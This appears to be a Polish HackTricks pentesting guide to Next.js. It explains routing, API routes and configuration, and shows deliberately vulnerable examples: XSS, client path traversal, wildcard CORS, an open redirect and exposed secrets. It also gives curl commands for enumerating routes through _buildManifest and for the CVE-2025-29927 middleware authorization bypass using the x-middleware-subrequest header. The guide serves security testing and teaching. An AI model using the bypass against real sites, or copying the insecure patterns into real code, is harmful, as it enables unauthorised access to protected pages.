NextJS

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ogólna architektura aplikacji Next.js

Typowa struktura plików

Standardowy projekt Next.js korzysta ze specyficznej struktury plików i katalogów, która ułatwia działanie funkcji takich jak routing, endpointy API oraz zarządzanie statycznymi zasobami. Oto typowy układ:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Główne katalogi i pliki

  • public/: Przechowuje statyczne zasoby, takie jak obrazy, fonty i inne pliki. Pliki tutaj są dostępne pod ścieżką główną (/).
  • app/: Centralny katalog dla stron aplikacji, layoutów, komponentów i tras API. Wykorzystuje paradygmat App Router, umożliwiając zaawansowane funkcje routingu oraz rozdzielenie komponentów po stronie serwera i klienta.
  • app/layout.tsx: Definiuje główny layout aplikacji, obejmujący wszystkie strony i zapewniający spójne elementy UI, takie jak nagłówki, stopki i paski nawigacji.
  • app/page.tsx: Służy jako punkt wejścia dla trasy root /, renderując stronę główną.
  • app/[route]/page.tsx: Obsługuje trasy statyczne i dynamiczne. Każdy folder w app/ reprezentuje segment trasy, a page.tsx w tych folderach odpowiada za komponent trasy.
  • app/api/: Zawiera trasy API, pozwalając na tworzenie funkcji serverless obsługujących żądania HTTP. Te trasy zastępują tradycyjny katalog pages/api.
  • app/components/: Zawiera wielokrotnego użytku komponenty React, które można wykorzystać na różnych stronach i w layoutach.
  • app/styles/: Zawiera globalne pliki CSS i CSS Modules do stylowania ograniczonego do komponentów.
  • app/utils/: Zawiera funkcje pomocnicze, moduły narzędziowe i inną logikę nie-UI, którą można udostępniać w aplikacji.
  • .env.local: Przechowuje zmienne środowiskowe specyficzne dla lokalnego środowiska deweloperskiego. Te zmienne nie są dodawane do kontroli wersji.
  • next.config.js: Dostosowuje zachowanie Next.js, w tym konfiguracje webpack, zmienne środowiskowe i ustawienia bezpieczeństwa.
  • tsconfig.json: Konfiguruje ustawienia TypeScript dla projektu, włączając sprawdzanie typów i inne funkcje TypeScript.
  • package.json: Zarządza zależnościami projektu, skryptami i metadanymi.
  • README.md: Zawiera dokumentację i informacje o projekcie, w tym instrukcje konfiguracji, wskazówki użytkowania i inne istotne szczegóły.
  • yarn.lock / package-lock.json: Blokują wersje zależności projektu, zapewniając spójne instalacje w różnych środowiskach.

Po stronie klienta w Next.js

Routowanie oparte na plikach w katalogu app

Katalog app jest podstawą routingu w najnowszych wersjach Next.js. Wykorzystuje system plików do definiowania tras, co sprawia, że zarządzanie nimi jest intuicyjne i skalowalne.

Obsługa ścieżki root /

Struktura plików:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Kluczowe pliki:

  • app/page.tsx: Obsługuje żądania do ścieżki głównej /.
  • app/layout.tsx: Definiuje układ aplikacji, obejmujący wszystkie strony.

Implementacja:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

Wyjaśnienie:

  • Definicja trasy: Plik page.tsx bezpośrednio w katalogu app odpowiada trasie /.
  • Renderowanie: Ten komponent renderuje zawartość strony głównej.
  • Integracja layoutu: Komponent HomePage jest opakowany przez layout.tsx, który może zawierać nagłówki, stopki i inne wspólne elementy.
Obsługa innych statycznych ścieżek

Przykład: trasa /about

Struktura plików:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementacja:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

Wyjaśnienie:

  • Definicja trasy: Plik page.tsx znajdujący się w folderze about odpowiada trasie /about.
  • Renderowanie: Ten komponent renderuje zawartość strony about.
Trasy dynamiczne

Trasy dynamiczne pozwalają obsługiwać ścieżki z zmiennymi segmentami, umożliwiając aplikacjom wyświetlanie zawartości na podstawie parametrów takich jak ID, slugi itp.

Przykład: /posts/[id] Trasa

Struktura plików:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementacja:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

Wyjaśnienie:

  • Dynamic Segment: [id] oznacza dynamiczny segment w trasie, przechwytujący parametr id z URL.
  • Accessing Parameters: Obiekt params zawiera dynamiczne parametry, dostępne wewnątrz komponentu.
  • Route Matching: Każda ścieżka pasująca do /posts/*, taka jak /posts/1, /posts/abc itd., będzie obsługiwana przez ten komponent.
Zagnieżdżone trasy

Next.js obsługuje zagnieżdżone trasy, umożliwiając hierarchiczną strukturę ścieżek odzwierciedlającą układ katalogów.

Przykład: trasa /dashboard/settings/profile

Struktura plików:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementacja:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

Wyjaśnienie:

  • Głębokie zagnieżdżenie: Plik page.tsx znajdujący się w dashboard/settings/profile/ odpowiada za trasę /dashboard/settings/profile.
  • Odwzorowanie hierarchii: Struktura katalogów odzwierciedla ścieżkę URL, co zwiększa łatwość utrzymania i czytelność.
Trasy catch-all

Trasy catch-all obsługują wiele zagnieżdżonych segmentów lub nieznane ścieżki, zapewniając elastyczność w obsłudze tras.

Przykład: trasa /*

Struktura plików:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementacja:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Wyjaśnienie:

  • Catch-All Segment: [...slug] przechwytuje wszystkie pozostałe segmenty ścieżki jako tablicę.
  • Usage: Przydatne do obsługi scenariuszy dynamicznego routingu, takich jak ścieżki tworzone przez użytkowników, zagnieżdżone kategorie itp.
  • Route Matching: Ścieżki takie jak /anything/here, /foo/bar/baz itp. są obsługiwane przez ten komponent.

Potencjalne luki po stronie klienta

Chociaż Next.js zapewnia bezpieczną podstawę, niewłaściwe praktyki kodowania mogą wprowadzać luki. Do kluczowych podatności po stronie klienta należą:

Cross-Site Scripting (XSS)

Ataki XSS pojawiają się, gdy złośliwe skrypty są wstrzykiwane do zaufanych stron. Atakujący mogą wykonywać skrypty w przeglądarkach użytkowników, kraść dane lub wykonywać akcje w ich imieniu.

Przykład podatnego kodu:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Dlaczego jest to podatne: Użycie dangerouslySetInnerHTML z niezaufanym wejściem pozwala atakującym wstrzykiwać złośliwe skrypty.

Client-Side Template Injection

Występuje, gdy dane wejściowe użytkownika są niewłaściwie obsługiwane w szablonach, co pozwala atakującym wstrzykiwać i wykonywać szablony lub wyrażenia.

Przykład podatnego kodu:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Dlaczego jest podatne: Jeśli template lub data zawiera złośliwą zawartość, może to prowadzić do wykonania niezamierzonego kodu.

Client Path Traversal

To podatność, która pozwala atakującym manipulować ścieżkami po stronie klienta, by wykonać niezamierzone działania, takie jak Cross-Site Request Forgery (CSRF). W odróżnieniu od server-side path traversal, który celuje w system plików serwera, CSPT koncentruje się na wykorzystywaniu mechanizmów po stronie klienta do przekierowywania legalnych żądań API do złośliwych endpointów.

Przykład podatnego kodu:

Aplikacja Next.js pozwala użytkownikom przesyłać i pobierać pliki. Funkcja pobierania jest zaimplementowana po stronie klienta, gdzie użytkownicy mogą podać ścieżkę pliku do pobrania.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Scenariusz ataku

  1. Cel atakującego: Wykonać atak CSRF w celu usunięcia krytycznego pliku (np. admin/config.json) poprzez manipulację filePath.
  2. Wykorzystanie CSPT:
  • Malicious Input: Atakujący przygotowuje URL z zmanipulowanym filePath, np. ../deleteFile/config.json.
  • Resulting API Call: Kod po stronie klienta wykonuje żądanie do /api/files/../deleteFile/config.json.
  • Server’s Handling: Jeśli serwer nie waliduje filePath, przetwarza żądanie, potencjalnie usuwając lub ujawniając wrażliwe pliki.
  1. Wykonanie CSRF:
  • Crafted Link: Atakujący wysyła ofierze link lub osadza złośliwy skrypt, który wywołuje żądanie pobrania ze zmanipulowanym filePath.
  • Outcome: Ofiara nieświadomie wykonuje akcję, co prowadzi do nieautoryzowanego dostępu do plików lub ich usunięcia.

Dlaczego to jest podatne

  • Brak walidacji danych wejściowych: Po stronie klienta dopuszczane są dowolne wartości filePath, co umożliwia path traversal.
  • Ufanie danym pochodzącym od klienta: API po stronie serwera ufa i przetwarza filePath bez sanitizacji.
  • Możliwe działania API: Jeśli endpoint API wykonuje akcje zmieniające stan (np. delete, modify files), może zostać wykorzystany poprzez CSPT.

Rozpoznanie: odkrywanie tras exportu statycznego przez _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Użyj odkrytych ścieżek (na przykład /docs, /docs/content/examples, /signin) do przeprowadzenia testów uwierzytelniania i odkrywania endpointów.

Po stronie serwera w Next.js

Renderowanie po stronie serwera (SSR)

Strony są renderowane po stronie serwera przy każdym żądaniu, co zapewnia użytkownikowi w pełni wyrenderowany HTML. W tym przypadku powinieneś utworzyć własny serwer, aby przetwarzać żądania.

Zastosowania:

  • Dynamiczna zawartość, która często się zmienia.
  • Optymalizacja SEO, ponieważ wyszukiwarki mogą indeksować w pełni wyrenderowaną stronę.

Implementacja:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Static Site Generation (SSG)

Strony są prerenderowane w czasie budowania, co skutkuje szybszym ładowaniem i zmniejszonym obciążeniem serwera.

Zastosowania:

  • Treści, które nie zmieniają się często.
  • Blogi, dokumentacja, strony marketingowe.

Implementacja:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Funkcje serverless (API Routes)

Next.js pozwala na tworzenie endpointów API jako funkcji serverless. Te funkcje są uruchamiane na żądanie bez potrzeby posiadania dedykowanego serwera.

Zastosowania:

  • Obsługa przesyłania formularzy.
  • Interakcja z bazami danych.
  • Przetwarzanie danych lub integracja z zewnętrznymi API.

Implementacja:

Wprowadzenie katalogu app w Next.js 13 sprawiło, że routowanie i obsługa API stały się bardziej elastyczne i potężne. To nowoczesne podejście jest zbliżone do systemu routingu opartego na plikach, ale wprowadza rozszerzone możliwości, w tym obsługę komponentów serwerowych i klienckich.

Podstawowy handler trasy

Struktura plików:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementacja:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Wyjaśnienie:

  • Lokalizacja: Trasy API znajdują się w katalogu app/api/.
  • Nazwa pliku: Każdy endpoint API znajduje się w osobnym folderze zawierającym plik route.js lub route.ts.
  • Eksportowane funkcje: Zamiast pojedynczego eksportu domyślnego, eksportuje się funkcje dla konkretnych metod HTTP (np. GET, POST).
  • Obsługa odpowiedzi: Użyj konstruktora Response do zwracania odpowiedzi, co pozwala na większą kontrolę nad nagłówkami i kodami statusu.

Jak obsługiwać inne ścieżki i metody:

Obsługa konkretnych metod HTTP

Next.js 13+ umożliwia zdefiniowanie handlerów dla konkretnych metod HTTP w tym samym pliku route.js lub route.ts, co sprzyja czytelniejszemu i lepiej zorganizowanemu kodowi.

Przykład:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Wyjaśnienie:

  • Wiele eksportów: Każda metoda HTTP (GET, PUT, DELETE) ma swoją własną eksportowaną funkcję.
  • Parametry: Drugi argument daje dostęp do parametrów trasy przez params.
  • Rozszerzone odpowiedzi: Większa kontrola nad obiektami odpowiedzi, umożliwiająca precyzyjne zarządzanie nagłówkami i kodem statusu.
Catch-All i zagnieżdżone trasy

Next.js 13+ obsługuje zaawansowane funkcje routingu, takie jak trasy catch-all i zagnieżdżone trasy API, co pozwala na bardziej dynamiczne i skalowalne struktury API.

Przykład trasy catch-all:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Wyjaśnienie:

  • Składnia: [...] oznacza segment typu catch-all, przechwytujący wszystkie zagnieżdżone ścieżki.
  • Zastosowanie: Przydatne dla API, które muszą obsługiwać różną głębokość ścieżek lub dynamiczne segmenty.

Przykład zagnieżdżonych tras:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

Wyjaśnienie:

  • Głębokie zagnieżdżenie: Umożliwia hierarchiczną strukturę API, odzwierciedlając relacje między zasobami.
  • Dostęp do parametrów: Łatwy dostęp do wielu parametrów trasy za pomocą obiektu params.
Obsługa tras API w Next.js 12 i starszych

Trasy API w katalogu pages (Next.js 12 i wcześniejsze)

Zanim Next.js 13 wprowadził katalog app i rozszerzone możliwości routingu, trasy API były głównie definiowane w katalogu pages. Podejście to jest nadal powszechnie używane i obsługiwane w Next.js 12 i wcześniejszych wersjach.

Podstawowa trasa API

Struktura plików:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Implementacja:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

Wyjaśnienie:

  • Lokalizacja: Trasy API znajdują się w katalogu pages/api/.
  • Eksport: Użyj export default, aby zdefiniować funkcję obsługi.
  • Sygnatura funkcji: Funkcja obsługi otrzymuje obiekty req (żądanie HTTP) i res (odpowiedź HTTP).
  • Routowanie: Nazwa pliku (hello.js) odpowiada endpointowi /api/hello.

Dynamiczne trasy API

Struktura plików:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

Implementacja:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Wyjaśnienie:

  • Dynamic Segments: Nawiasy kwadratowe ([id].js) oznaczają dynamiczne segmenty trasy.
  • Accessing Parameters: Użyj req.query.id, aby uzyskać dostęp do dynamicznego parametru.
  • Handling Methods: Wykorzystaj logikę warunkową do obsługi różnych metod HTTP (GET, PUT, DELETE, itp.).

Obsługa różnych metod HTTP

Podczas gdy podstawowy przykład API route obsługuje wszystkie metody HTTP w jednej funkcji, możesz zorganizować kod tak, aby każdą metodę obsługiwać osobno dla lepszej przejrzystości i łatwiejszego utrzymania.

Przykład:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Najlepsze praktyki:

  • Separacja obowiązków: Wyraźnie rozdziel logikę dla różnych metod HTTP.
  • Spójność odpowiedzi: Zapewnij spójne struktury odpowiedzi, ułatwiające obsługę po stronie klienta.
  • Obsługa błędów: Poprawnie obsługuj nieobsługiwane metody i nieoczekiwane błędy.

Konfiguracja CORS

Kontroluj, które originy mają dostęp do twoich tras API, zmniejszając podatności związane z Cross-Origin Resource Sharing (CORS).

Przykład złej konfiguracji:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Zwróć uwagę, że CORS może być również skonfigurowany we wszystkich trasach API wewnątrz pliku middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Problem:

  • Access-Control-Allow-Origin: '*': Zezwala dowolnej stronie na dostęp do API, co może pozwolić złośliwym serwisom na interakcję z Twoim API bez ograniczeń.
  • Szerokie zezwolenie metod: Zezwalanie na wszystkie metody może umożliwić atakującym wykonanie niepożądanych działań.

Jak atakujący to wykorzystują:

Atakujący mogą przygotować złośliwe strony, które wysyłają żądania do twojego API, potencjalnie nadużywając funkcji takich jak pobieranie danych, manipulacja danymi lub wywoływanie niepożądanych akcji w imieniu uwierzytelnionych użytkowników.

CORS - Misconfigurations & Bypass

Ujawnienie kodu serwera po stronie klienta

Łatwo jest użyć kodu wykorzystywanego przez serwer także w kodzie udostępnianym po stronie klienta; najlepszym sposobem, by upewnić się, że plik z kodem nigdy nie będzie dostępny po stronie klienta, jest użycie tego importu na początku pliku:

import "server-only"

Kluczowe pliki i ich role

middleware.ts / middleware.js

Location: Root projektu lub w src/.

Purpose: Wykonuje kod w funkcji server-side/serverless po stronie serwera przed przetworzeniem żądania, umożliwiając zadania takie jak uwierzytelnianie, przekierowania czy modyfikowanie odpowiedzi.

Execution Flow:

  1. Incoming Request: Middleware przechwytuje żądanie.
  2. Processing: Wykonuje operacje w oparciu o żądanie (np. sprawdzić uwierzytelnianie).
  3. Response Modification: Może zmienić odpowiedź lub przekazać kontrolę do następnego handlera.

Example Use Cases:

  • Przekierowywanie niezalogowanych użytkowników.
  • Dodawanie niestandardowych nagłówków.
  • Logowanie żądań.

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Jeśli autoryzacja jest wymuszana w middleware, podatne wydania Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) można obejść przez wstrzyknięcie nagłówka x-middleware-subrequest. Framework pominie rekurencję middleware i zwróci chronioną stronę.

  • Domyślne zachowanie to zazwyczaj przekierowanie 307 do ścieżki logowania, np. /api/auth/signin.
  • Wyślij długą wartość x-middleware-subrequest (powtarzaj middleware, aby osiągnąć MAX_RECURSION_DEPTH), aby zmienić odpowiedź na 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Ponieważ strony uwierzytelnione pobierają wiele zasobów podrzędnych, dodaj nagłówek do każdego żądania (np. Burp Match/Replace z pustym ciągiem dopasowania), aby zapobiec przekierowywaniu assetów.

next.config.js

Location: Katalog główny projektu.

Purpose: Konfiguruje zachowanie Next.js — włączanie/wyłączanie funkcji, dostosowywanie konfiguracji webpack, ustawianie zmiennych środowiskowych oraz konfigurowanie różnych funkcji bezpieczeństwa.

Key Security Configurations:

Nagłówki bezpieczeństwa

Nagłówki bezpieczeństwa zwiększają bezpieczeństwo aplikacji, instruując przeglądarki, jak obsługiwać treści. Pomagają zmniejszyć ryzyko różnych ataków, takich jak Cross-Site Scripting (XSS), Clickjacking i sniffing typów MIME:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Przykłady:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Ustawienia optymalizacji obrazów

Next.js optymalizuje obrazy pod kątem wydajności, ale nieprawidłowa konfiguracja może prowadzić do podatności bezpieczeństwa, np. umożliwiając niezaufanym źródłom wstrzykiwanie złośliwych treści.

Zły przykład konfiguracji:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Problem:

  • '*': Pozwala na ładowanie obrazów z dowolnego zewnętrznego źródła, w tym z niezaufanych lub złośliwych domen. Atakujący mogą hostować obrazy zawierające złośliwe payloads lub treści wprowadzające użytkowników w błąd.
  • Innym problemem może być zezwolenie domenie gdzie każdy może przesłać obraz (np. raw.githubusercontent.com)

How attackers abuse it:

Poprzez wstrzykiwanie obrazów z złośliwych źródeł, atakujący mogą przeprowadzać phishing, wyświetlać wprowadzające w błąd informacje lub wykorzystywać luki w bibliotekach renderujących obrazy.

Ujawnianie zmiennych środowiskowych

Zarządzaj poufnymi danymi, takimi jak API keys i dane uwierzytelniające do bazy danych, w bezpieczny sposób, nie ujawniając ich klientowi.

a. Ujawnianie wrażliwych zmiennych

Przykład złej konfiguracji:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

Problem:

  • SECRET_API_KEY: Bez prefiksu NEXT_PUBLIC_ Next.js nie udostępnia zmiennych po stronie klienta. Jednak jeśli przez pomyłkę zostanie poprzedzony prefiksem (np. NEXT_PUBLIC_SECRET_API_KEY), staje się dostępny po stronie klienta.

How attackers abuse it:

Jeśli wrażliwe zmienne są udostępnione po stronie klienta, atakujący mogą je odczytać poprzez analizę kodu po stronie klienta lub zapytań sieciowych, uzyskując nieautoryzowany dostęp do API, baz danych lub innych usług.

Przekierowania

Zarządzaj przekierowaniami i przepisaniami URL w swojej aplikacji, zapewniając, że użytkownicy są kierowani odpowiednio bez wprowadzania open redirect vulnerabilities.

a. Open Redirect Vulnerability

Zły przykład konfiguracji:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Problem:

  • Dynamic Destination: Pozwala użytkownikom określić dowolny URL, umożliwiając ataki typu open redirect.
  • Trusting User Input: Przekierowania do URL-i podanych przez użytkowników bez walidacji mogą prowadzić do phishing, malware distribution lub credential theft.

How attackers abuse it:

Atakujący mogą tworzyć URL-e, które wyglądają, jakby pochodziły z twojej domeny, ale przekierowują użytkowników na złośliwe strony. Na przykład:

https://yourdomain.com/redirect?url=https://malicious-site.com

Użytkownicy ufający oryginalnej domenie mogą nieświadomie trafić na złośliwe strony internetowe.

Webpack Configuration

Dostosowywanie konfiguracji Webpack dla aplikacji Next.js może niezamierzenie wprowadzić luki w zabezpieczeniach, jeśli nie jest wykonywane ostrożnie.

a. Ujawnianie wrażliwych modułów

Zły przykład konfiguracji:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

Problem:

  • Ujawnianie wrażliwych ścieżek: Tworzenie aliasów dla wrażliwych katalogów i umożliwienie dostępu po stronie klienta może spowodować leak poufnych informacji.
  • Pakowanie sekretów: Jeśli wrażliwe pliki są pakowane dla klienta, ich zawartość staje się dostępna przez source maps lub poprzez inspekcję kodu po stronie klienta.

How attackers abuse it:

Atakujący mogą uzyskać dostęp do struktury katalogów aplikacji lub ją odtworzyć, potencjalnie znajdując i wykorzystując wrażliwe pliki lub dane.

pages/_app.js i pages/_document.js

pages/_app.js

Cel: Zastępuje domyślny komponent App, umożliwiając globalny stan, style i komponenty layoutu.

Zastosowania:

  • Wstrzykiwanie globalnego CSS.
  • Dodawanie wrapperów layoutu.
  • Integracja bibliotek zarządzania stanem.

Przykład:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Cel: Nadpisuje domyślny Document, umożliwiając dostosowanie tagów <html> i <body>.

Zastosowania:

  • Modyfikowanie tagów <html> lub <body>.
  • Dodawanie meta tagów lub własnych skryptów.
  • Integracja czcionek firm trzecich.

Przykład:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Niestandardowy serwer (opcjonalnie)

Cel: Chociaż Next.js zawiera wbudowany serwer, możesz utworzyć niestandardowy serwer dla zaawansowanych przypadków użycia, takich jak niestandardowe routowanie lub integracja z istniejącymi usługami backend.

Uwaga: Użycie niestandardowego serwera może ograniczyć opcje wdrożenia, szczególnie na platformach takich jak Vercel, które są zoptymalizowane pod kątem wbudowanego serwera Next.js.

Przykład:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

